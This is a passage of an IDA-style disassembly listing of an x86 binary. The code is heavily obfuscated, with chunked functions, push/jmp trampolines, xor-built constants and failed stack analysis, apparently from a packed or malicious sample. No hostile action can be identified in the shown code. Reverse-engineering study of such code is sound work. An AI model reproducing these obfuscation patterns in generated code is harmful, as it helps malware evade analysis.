		call	sub_40C276


loc_40EA61:				; CODE XREF: o45kw3t9:0040C21Fj
		add	eax, ebp
		add	eax, 1516B763h
		mov	eax, [eax]
		push	ebx
		push	offset loc_40C804
		jmp	nullsub_118
; END OF FUNCTION CHUNK	FOR sub_40D740

; =============== S U B	R O U T	I N E =======================================



sub_40EA76	proc near		; DATA XREF: o45kw3t9:0040EE50o
		add	eax, 4
		mov	edi, [eax]
		push	offset loc_40D975
		jmp	nullsub_156
sub_40EA76	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40939B


loc_40EA85:				; CODE XREF: sub_40939B+21C7j
		mov	eax, [ebp-24h]
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_40939B
; ---------------------------------------------------------------------------


loc_40EA8C:				; CODE XREF: o45kw3t9:0040E768j
		jmp	loc_409907
; ---------------------------------------------------------------------------


loc_40EA91:				; CODE XREF: o45kw3t9:0040C477j
		jmp	locret_40A589

; =============== S U B	R O U T	I N E =======================================



sub_40EA96	proc near		; CODE XREF: sub_40939B:loc_40B550p
					; sub_40CF7C:loc_40D548p

; FUNCTION CHUNK AT 00409CE4 SIZE 0000001B BYTES

		push	ebp
		jmp	loc_409CE4
sub_40EA96	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B96E


loc_40EA9C:				; CODE XREF: sub_40B96E:loc_40CFD8j
		push	offset loc_40E0FB
		jmp	loc_409316
; END OF FUNCTION CHUNK	FOR sub_40B96E

; =============== S U B	R O U T	I N E =======================================



sub_40EAA6	proc near		; CODE XREF: sub_40E223+3j
		add	esp, 0FFFFFFF4h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		push	offset loc_40BDA6
		jmp	nullsub_76
sub_40EAA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EABC	proc near		; DATA XREF: sub_40D23A+1o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004093EE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409721 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409D7F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040BBE5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C0DF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040CB34 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040D658 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040DD67 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040E6D9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004100C8 SIZE 00000024 BYTES

		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		push	5F87B76Bh
		pop	eax
		jmp	loc_40DD67
sub_40EABC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40EACD:				; CODE XREF: o45kw3t9:0040FCDAj
		mov	[esp], eax
		call	sub_40FD16
		jmp	loc_409239
; ---------------------------------------------------------------------------
		push	0A697C024h
		pop	eax
		push	offset loc_40C552
		jmp	loc_409F20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D587


loc_40EAEA:				; CODE XREF: sub_40D587:loc_409D44j
		add	edi, 803F9A2Eh
		push	offset sub_40B28D
		jmp	loc_40B99D
; END OF FUNCTION CHUNK	FOR sub_40D587
; ---------------------------------------------------------------------------
		call	nullsub_111
		call	sub_40D5BF
; START	OF FUNCTION CHUNK FOR sub_40A7CF


loc_40EB04:				; CODE XREF: sub_40A7CF+2DEBj
		jmp	loc_40CEF4
; END OF FUNCTION CHUNK	FOR sub_40A7CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DCEE


loc_40EB09:				; CODE XREF: sub_40DCEE:loc_409AFAj
		jz	loc_40E58A
		push	3E883A36h
		pop	eax
		xor	eax, 0B12768F6h
		add	eax, ebp
		call	sub_409627


loc_40EB22:				; CODE XREF: sub_40ACAB+2FD6j
		jp	loc_409914


loc_40EB28:				; CODE XREF: sub_40ACAB:loc_410130j
		call	sub_40B56D


loc_40EB2D:				; CODE XREF: o45kw3t9:0040C380j
		jmp	loc_40A3DE
; END OF FUNCTION CHUNK	FOR sub_40DCEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A5AE


loc_40EB32:				; CODE XREF: sub_40A5AE:loc_40EEB0j
		push	ecx


loc_40EB33:				; CODE XREF: sub_40A5AE:loc_40C915j
					; o45kw3t9:loc_40DC50j
		push	46F808F9h
		pop	eax
		and	eax, 9834D0E0h
; END OF FUNCTION CHUNK	FOR sub_40A5AE
; START	OF FUNCTION CHUNK FOR sub_409AD7


loc_40EB3F:				; CODE XREF: sub_409AD7:loc_409A36j
		add	eax, 84A5C3C9h
		jmp	loc_40BA6F
; END OF FUNCTION CHUNK	FOR sub_409AD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_40EB4A:				; CODE XREF: sub_409FA8+436Bj
		test	ebx, 60C28797h
		jmp	loc_40A408
; END OF FUNCTION CHUNK	FOR sub_409FA8
; ---------------------------------------------------------------------------
		xor	eax, edx
		jo	loc_40CD81
		jmp	sub_40E509
; ---------------------------------------------------------------------------


loc_40EB62:				; CODE XREF: o45kw3t9:0040CB90j
		js	loc_40B5A0
		jnp	loc_409A27
		and	esi, 881F8B14h
		xchg	eax, ecx


loc_40EB76:				; CODE XREF: o45kw3t9:loc_40E602j
		mov	eax, 0DD960900h
		call	sub_4090F8
		rol	eax, 13h
		jmp	loc_40D05D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40EB88:				; CODE XREF: sub_40D740-2569j
		jg	loc_40916E
		jmp	sub_40CD0A
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FF8D


loc_40EB93:				; CODE XREF: sub_40FF8D:loc_409F72j
		push	offset loc_409A6F
		jmp	nullsub_140
; END OF FUNCTION CHUNK	FOR sub_40FF8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40988C


loc_40EB9D:				; CODE XREF: sub_40988C+1A12j
		mov	edx, eax
		xchg	esi, [ebp+0]


loc_40EBA2:				; CODE XREF: sub_40988C:loc_40A21Dj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_40DB6F
		jmp	loc_40B86F
; END OF FUNCTION CHUNK	FOR sub_40988C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40909E


loc_40EBB3:				; CODE XREF: sub_40909E:loc_40AB4Ej
		mov	dword ptr [ebp-0FCh], 6F6C2074h
		mov	dword ptr [ebp-0F8h], 206461h
		mov	dword ptr [ebp-108h], 0Bh


loc_40EBD1:				; CODE XREF: sub_40BDFD:loc_40FA12j
		js	loc_4098C8
		jmp	loc_40B5E4
; END OF FUNCTION CHUNK	FOR sub_40909E
; ---------------------------------------------------------------------------


loc_40EBDC:				; DATA XREF: sub_40BFBB:loc_40A118o
		or	ecx, ecx
		jz	loc_40A344
		call	sub_40AB88
; START	OF FUNCTION CHUNK FOR sub_40A742


loc_40EBE9:				; CODE XREF: sub_40A742-13ACj
		jmp	nullsub_78
; END OF FUNCTION CHUNK	FOR sub_40A742
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CEFE


loc_40EBEE:				; CODE XREF: sub_40CEFE-1B54j
		mov	ds:dword_40E410, eax
		lea	eax, [ebp+var_14]
		push	offset loc_40C1CF
		jmp	loc_40FB35
; END OF FUNCTION CHUNK	FOR sub_40CEFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A3A2


loc_40EC00:				; CODE XREF: sub_40A3A2:loc_40CC53j
		jz	loc_40FB88
		jmp	loc_40C752
; END OF FUNCTION CHUNK	FOR sub_40A3A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D031


loc_40EC0B:				; CODE XREF: sub_40D031:loc_40F5EDj
		push	offset sub_40931B
		jmp	nullsub_147
; END OF FUNCTION CHUNK	FOR sub_40D031
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BFBB


loc_40EC15:				; CODE XREF: sub_40BFBB:loc_40CC69j
		or	ecx, ecx
		jz	loc_40D1B2
		mov	ebx, [ebx+ecx]
		jmp	loc_40D1AD
; ---------------------------------------------------------------------------


loc_40EC25:				; CODE XREF: sub_40BFBB:loc_40BFC5j
		add	edx, 14h
		mov	ecx, [ebx+edx-8]
		or	ecx, ecx
		jmp	loc_40A46F
; END OF FUNCTION CHUNK	FOR sub_40BFBB
; ---------------------------------------------------------------------------
		push	offset loc_40DE98
		jmp	loc_40E398
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BDFD


loc_40EC3E:				; CODE XREF: sub_40BDFD+6j
		jmp	loc_40E8A9
; END OF FUNCTION CHUNK	FOR sub_40BDFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40928F


loc_40EC43:				; CODE XREF: sub_40928F+1E99j
		jmp	loc_40CC2E
; END OF FUNCTION CHUNK	FOR sub_40928F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40EC48:				; CODE XREF: sub_40D740+172j
		jz	loc_40FFFE
		jmp	loc_409010
; END OF FUNCTION CHUNK	FOR sub_40D740

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EC53	proc near		; CODE XREF: sub_40E4EDj

; FUNCTION CHUNK AT 0040B86A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C2CD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040C302 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D9A6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040FB73 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040FCC0 SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		jmp	loc_40B86A
sub_40EC53	endp

; ---------------------------------------------------------------------------


loc_40EC5E:				; CODE XREF: o45kw3t9:0040A435j
		jz	loc_40E169

; =============== S U B	R O U T	I N E =======================================



sub_40EC64	proc near		; CODE XREF: sub_40B43C-1521p

; FUNCTION CHUNK AT 0040B213 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FA2C SIZE 0000000A BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		call	sub_40A01C
		jmp	loc_40B213
sub_40EC64	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A259


loc_40EC72:				; CODE XREF: sub_40A259:loc_40C880j
					; sub_40A3A2:loc_40FF44j
		rol	edx, 10h
		add	edx, 0C83C1EA8h
		xchg	edx, [esp+0]
		jmp	sub_40A01C
; END OF FUNCTION CHUNK	FOR sub_40A259

; =============== S U B	R O U T	I N E =======================================



sub_40EC83	proc near		; DATA XREF: sub_40FC1D:loc_40C0D2o

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0040933A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00409386 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00409D2E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040A43A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A64A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040B595 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040C10A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040C3B0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040C778 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040CA77 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D307 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040D467 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040DBA8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DD05 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040DFD7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E90F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040FC83 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00410309 SIZE 0000000B BYTES

		cmp	ds:dword_40E530, 0
		jz	loc_40FA74
		mov	eax, ds:dword_40E530
		mov	eax, [eax]
		mov	ds:dword_40E534, eax
		call	sub_40B1A3
		mov	[eax], ecx
		jmp	loc_40E90F
sub_40EC83	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4090F8


loc_40ECA8:				; CODE XREF: sub_4090F8:loc_40C34Fj
		or	edx, edx
		jnz	loc_40AEF3
		push	eax
		lea	eax, loc_40DD50
		push	eax
		jmp	loc_40D6DD
; END OF FUNCTION CHUNK	FOR sub_4090F8

; =============== S U B	R O U T	I N E =======================================



sub_40ECBD	proc near		; CODE XREF: sub_409F42+6p
					; o45kw3t9:0040FD2Dj

; FUNCTION CHUNK AT 0040A803 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040ABCD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040BD5A SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040D6C9 SIZE 00000005 BYTES

		mov	[esp+0], esi
		pop	esi
		or	eax, eax
		jnz	loc_40E1BC
		jmp	loc_40ABCD
sub_40ECBD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40988C


loc_40ECCE:				; CODE XREF: sub_40988C:loc_40EF76j
		mov	esi, ecx
		shl	edx, 0Eh
		ror	edx, 0Bh
		xor	edi, 806FF480h
		jmp	loc_40FB88
; END OF FUNCTION CHUNK	FOR sub_40988C

; =============== S U B	R O U T	I N E =======================================



sub_40ECE1	proc near		; DATA XREF: sub_40FB9F+9o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004093C8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040A60F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040A9A8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040AA02 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040BE64 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E050 SIZE 00000017 BYTES

		call	sub_40E193
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jle	loc_40D8D0
		mov	eax, [ebp-4]
		xor	edx, edx
		jmp	loc_4093C8
sub_40ECE1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ABFA


loc_40ECFD:				; CODE XREF: sub_40ABFA+2091j
		mov	edx, [edx-8]
		or	edx, 40h
		or	eax, edx
		mov	edx, [ebp+8]
		mov	[edx-8], eax
; END OF FUNCTION CHUNK	FOR sub_40ABFA
; START	OF FUNCTION CHUNK FOR sub_409674


loc_40ED0B:				; CODE XREF: sub_409674+8j
					; sub_40ABFA-FB2j ...
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		push	offset sub_40B6D1
		jmp	loc_409C18
; END OF FUNCTION CHUNK	FOR sub_409674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B5CB


loc_40ED1B:				; CODE XREF: sub_40B5CB-10C1j
		pop	eax
		or	eax, 7ED5ECC2h
		rol	eax, 17h
		add	eax, 0BC41EE08h
		add	eax, ebp
		add	eax, 4A7E91F5h
		mov	eax, [eax]
		jmp	loc_40C568
; END OF FUNCTION CHUNK	FOR sub_40B5CB
; ---------------------------------------------------------------------------


loc_40ED3A:				; CODE XREF: o45kw3t9:0040C9C3j
		jnz	loc_40B9B3
		jmp	loc_40C86D
; ---------------------------------------------------------------------------
		jnp	loc_409A6A
		jmp	loc_40DEC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40943A


loc_40ED50:				; CODE XREF: sub_40943A:loc_40C83Fj
		cmp	dword ptr [ebp-4], 0
		jz	loc_40A7A0
		call	sub_40A8E9


loc_40ED5F:				; CODE XREF: o45kw3t9:0040BA6Aj
		jmp	loc_40F113
; END OF FUNCTION CHUNK	FOR sub_40943A
; ---------------------------------------------------------------------------


loc_40ED64:				; CODE XREF: o45kw3t9:0040B63Fj
		jmp	loc_40E046
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BD84


loc_40ED69:				; CODE XREF: sub_40BD84:loc_40B908j
		mov	eax, ds:dword_40E42C
		or	eax, eax
		jnz	loc_40D195
		call	sub_40CEFE
		mov	edx, 0B9726E5Ah
		call	sub_40E858
		jmp	loc_40D185
; END OF FUNCTION CHUNK	FOR sub_40BD84
; ---------------------------------------------------------------------------
		and	ebp, 73E18E2Eh
		jmp	loc_40F0A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409726


loc_40ED96:				; CODE XREF: sub_40D740:loc_40B61Cj
					; sub_40D740:loc_40BDBFj ...
		jmp	loc_40B207
; END OF FUNCTION CHUNK	FOR sub_409726
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40ED9B:				; CODE XREF: sub_40D740-44BCj
					; sub_40D740+2B02j
		pop	ecx
		call	sub_40A7F8


loc_40EDA1:				; CODE XREF: sub_40BD10+2B28j
		mov	edx, [esp+0]
		call	sub_40919D
; END OF FUNCTION CHUNK	FOR sub_40D740
; START	OF FUNCTION CHUNK FOR sub_40943A


loc_40EDA9:				; CODE XREF: sub_40943A-3A1j
		jmp	loc_40AD68
; END OF FUNCTION CHUNK	FOR sub_40943A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40988C


loc_40EDAE:				; CODE XREF: sub_40988C+3E7Dj
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_40E58A


loc_40EDBB:				; CODE XREF: sub_40E6E8:loc_40C49Cj
		jmp	loc_40A4C7
; END OF FUNCTION CHUNK	FOR sub_40988C
; ---------------------------------------------------------------------------


loc_40EDC0:				; CODE XREF: o45kw3t9:0040B496j
					; o45kw3t9:0040CF6Fj
		mov	eax, [ebp-8]
		call	sub_40D70E
		mov	eax, [ebp-30h]
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		jmp	loc_40BD65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A170


loc_40EDD6:				; CODE XREF: sub_40A170+3FD6j
		shl	ecx, 1


loc_40EDD8:				; CODE XREF: o45kw3t9:loc_40CA0Ej
		xor	esi, ecx


loc_40EDDA:				; CODE XREF: sub_40A170:loc_40E13Fj
		push	offset loc_40921B
		jmp	loc_40E2DF
; END OF FUNCTION CHUNK	FOR sub_40A170

; =============== S U B	R O U T	I N E =======================================



sub_40EDE4	proc near		; DATA XREF: sub_40B1B3-15B4o

; FUNCTION CHUNK AT 0040E48D SIZE 00000005 BYTES

		mov	eax, ds:dword_40E530
		push	offset sub_40FA66
		jmp	loc_40E48D
sub_40EDE4	endp

; ---------------------------------------------------------------------------


loc_40EDF3:				; CODE XREF: o45kw3t9:0040CD90j
		rol	eax, 10h
		push	offset sub_40D1C4
		jmp	loc_4090C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_40EE00:				; CODE XREF: sub_409FA8+6214j
		adc	ebp, edx
		xchg	esi, ebp
		sbb	ecx, eax
		or	ebp, edx
		jmp	loc_40AD95
; END OF FUNCTION CHUNK	FOR sub_409FA8

; =============== S U B	R O U T	I N E =======================================



sub_40EE0D	proc near		; DATA XREF: o45kw3t9:0040DA4Bo

; FUNCTION CHUNK AT 0040D058 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DA8D SIZE 0000000B BYTES

		push	3B211AA4h
		pop	edi
		xor	edi, 6E6EAE3Bh
		test	edi, 40h
		jmp	loc_40D058
sub_40EE0D	endp

; ---------------------------------------------------------------------------


loc_40EE24:				; DATA XREF: sub_40AF55+3F6Ao
		xchg	esi, [esp]
		push	eax
		push	450EB28Bh
		pop	eax
		add	eax, 0BB3234D5h
		push	offset sub_409180
		jmp	loc_4099C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4097FC


loc_40EE3E:				; CODE XREF: sub_4097FC:loc_40A28Dj
		jz	loc_40D569
		jmp	loc_40DFB1
; END OF FUNCTION CHUNK	FOR sub_4097FC
; ---------------------------------------------------------------------------


loc_40EE49:				; DATA XREF: sub_40CE7A+6o
		mov	ecx, [eax]
		add	eax, 4
		mov	ebx, [eax]
		push	offset sub_40EA76
		jmp	locret_40BFD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40EE5A:				; CODE XREF: sub_40C674:loc_409015j
		jnz	loc_40A99E
		jmp	loc_40A9F1
; END OF FUNCTION CHUNK	FOR sub_40C674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A467


loc_40EE65:				; CODE XREF: sub_40A467:loc_40A46Fj
		jz	loc_40D1B2
		call	sub_40AAA3
		jnz	loc_40BFC5
		mov	ecx, [ebx+edx-4]
		jmp	loc_40ACE0
; END OF FUNCTION CHUNK	FOR sub_40A467
; ---------------------------------------------------------------------------


loc_40EE7F:				; CODE XREF: o45kw3t9:004092F7j
		add	edi, 387733D0h
		xor	edi, 0E68A95A0h
		xor	eax, edi
		pop	edi
		jmp	loc_409F28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_40EE93:				; CODE XREF: sub_409FA8:loc_409DF5j
		pop	esi
		add	esi, 95227919h
		xor	esi, 86D34986h
		add	esi, ebp
		add	esi, 79289C99h
		mov	[esi], eax
		jmp	loc_40E946
; END OF FUNCTION CHUNK	FOR sub_409FA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A5AE


loc_40EEAF:				; CODE XREF: sub_40A5AE+236Dj
		pop	edx


loc_40EEB0:				; CODE XREF: o45kw3t9:loc_40E2AEj
		jmp	loc_40EB32
; END OF FUNCTION CHUNK	FOR sub_40A5AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AF55


loc_40EEB5:				; CODE XREF: sub_40AF55+Fj
		lea	eax, [ebp-34h]
		push	eax
		mov	eax, [ebp-4]
		push	esi
		mov	esi, eax
		push	offset loc_40EE24
		jmp	loc_40DFAC
; END OF FUNCTION CHUNK	FOR sub_40AF55
; ---------------------------------------------------------------------------
		push	1D9AC601h
		jmp	loc_40DA77
; ---------------------------------------------------------------------------


loc_40EED3:				; CODE XREF: o45kw3t9:0040C65Fj
		popf

; =============== S U B	R O U T	I N E =======================================



sub_40EED4	proc near		; CODE XREF: sub_40943A+12B4p

; FUNCTION CHUNK AT 00409B07 SIZE 00000005 BYTES

		mov	[esp+0], edx
		pop	edx
		cmp	dword ptr [ebp-4], 0
		jz	loc_40A7A0
		mov	eax, [ebp-4]


loc_40EEE5:				; CODE XREF: sub_409726:loc_40B0C3j
		add	eax, 3Ch
		jmp	loc_409B07
sub_40EED4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C5B0


loc_40EEED:				; CODE XREF: sub_40C5B0+6j
		cmp	ds:byte_40FA00,	0
		jnz	loc_40A2BE
		call	sub_40CEA7


loc_40EEFF:				; CODE XREF: o45kw3t9:0040DA9Fj
		push	876EDEB2h
		add	eax, edx
		xor	esi, ecx


loc_40EF08:				; CODE XREF: sub_40EE0D:loc_40DA8Dj
		add	edi, 0AAF11B35h
		mov	[edi], eax
		pop	edi
		jmp	nullsub_141
; END OF FUNCTION CHUNK	FOR sub_40C5B0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_37. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40EF17:				; CODE XREF: sub_40D740+24B7j
		jmp	loc_40B669
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B540


loc_40EF1C:				; CODE XREF: sub_40B540+957j
		ja	loc_40D15B
		jmp	loc_40CE61
; END OF FUNCTION CHUNK	FOR sub_40B540
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4090F8


loc_40EF27:				; CODE XREF: sub_4090F8:loc_40E82Aj
		jbe	loc_40FFD8
; END OF FUNCTION CHUNK	FOR sub_4090F8
; START	OF FUNCTION CHUNK FOR sub_40B5CB


loc_40EF2D:				; CODE XREF: sub_40B5CB:loc_40CB13j
		jmp	loc_40FAFF
; END OF FUNCTION CHUNK	FOR sub_40B5CB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_121. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A8A6


loc_40EF33:				; CODE XREF: sub_40A8A6+40B1j
		jmp	nullsub_87
; END OF FUNCTION CHUNK	FOR sub_40A8A6
; ---------------------------------------------------------------------------
		push	8047CB16h
		xchg	ebp, [esp]
		mov	edx, ebp
		pop	ebp
		xor	edx, 8C179678h
		add	edx, ebp
		add	edx, 0F3AFA29Ah
		jmp	loc_40FC74
; ---------------------------------------------------------------------------


loc_40EF56:				; DATA XREF: sub_40B179:loc_40994Eo
		mov	[ebp-4], eax
		call	sub_40B9FA
; START	OF FUNCTION CHUNK FOR sub_40DA15


loc_40EF5E:				; CODE XREF: sub_40DA15-2C40j
		call	sub_40CBFC


loc_40EF63:				; CODE XREF: sub_40C365+1D54j
		mov	[ebp-0Ch], eax
		call	sub_409726


loc_40EF6B:				; CODE XREF: o45kw3t9:0040DE93j
		jmp	loc_40B92C
; END OF FUNCTION CHUNK	FOR sub_40DA15
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_38. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40EF71:				; CODE XREF: o45kw3t9:0040E1CCj
		jmp	loc_40A82F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40988C


loc_40EF76:				; CODE XREF: sub_40988C+2B88j
		jmp	loc_40ECCE
; END OF FUNCTION CHUNK	FOR sub_40988C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FE86


loc_40EF7B:				; CODE XREF: sub_40FE86:loc_40B879j
		jz	loc_40BBF5
		jmp	loc_40DC98
; END OF FUNCTION CHUNK	FOR sub_40FE86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B1B3


loc_40EF86:				; CODE XREF: sub_40B1B3+2C24j
		call	sub_40A235
		mov	edx, 0E5254649h
		push	offset loc_40E337
		jmp	loc_40BFDE
; END OF FUNCTION CHUNK	FOR sub_40B1B3

; =============== S U B	R O U T	I N E =======================================



sub_40EF9A	proc near		; DATA XREF: sub_40AF39+6o

; FUNCTION CHUNK AT 00409332 SIZE 00000008 BYTES

		add	eax, 4
		mov	edx, [eax]
		mov	al, 1
		call	edx
		pop	ebp
		xor	eax, eax
		jmp	loc_409332
sub_40EF9A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		add	ebp, 310C66Bh
		jmp	sub_40BC53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4091CB


loc_40EFB6:				; CODE XREF: sub_4091CB+2FAj
					; o45kw3t9:loc_40C385j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_40A596
		jmp	loc_40BD2D
; END OF FUNCTION CHUNK	FOR sub_4091CB

; =============== S U B	R O U T	I N E =======================================



sub_40EFC7	proc near		; CODE XREF: o45kw3t9:00409B8Cj
					; sub_40D740:loc_40D7D1p

; FUNCTION CHUNK AT 0040FA36 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	0FE98061Fh
		pop	eax
		add	eax, 38D2F057h
		or	eax, 248AC9Eh
		jmp	loc_40FA36
sub_40EFC7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		cmp	edi, eax
		jmp	loc_409EC1
; ---------------------------------------------------------------------------
		add	ebp, eax
		jmp	loc_4097F6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EFF0	proc near		; CODE XREF: o45kw3t9:0040EA24p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040A1F2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040ABEE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040C3C3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D124 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E60D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040E6FD SIZE 0000000E BYTES

		mov	[esp+0], ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		jz	loc_40E6FD
		jmp	loc_40C3C3
sub_40EFF0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40F009:				; CODE XREF: o45kw3t9:004097B6j
		or	ecx, ecx
		jz	loc_40B085
		mov	edx, [ebx+ecx]
		xor	edx, [ebx+ecx+4]
		cmp	edx, 7C61090Eh
		jmp	loc_40B07F
; ---------------------------------------------------------------------------


loc_40F023:				; CODE XREF: o45kw3t9:0040D37Ej
		jnb	near ptr aZ4HUpbBuRCbBi+8
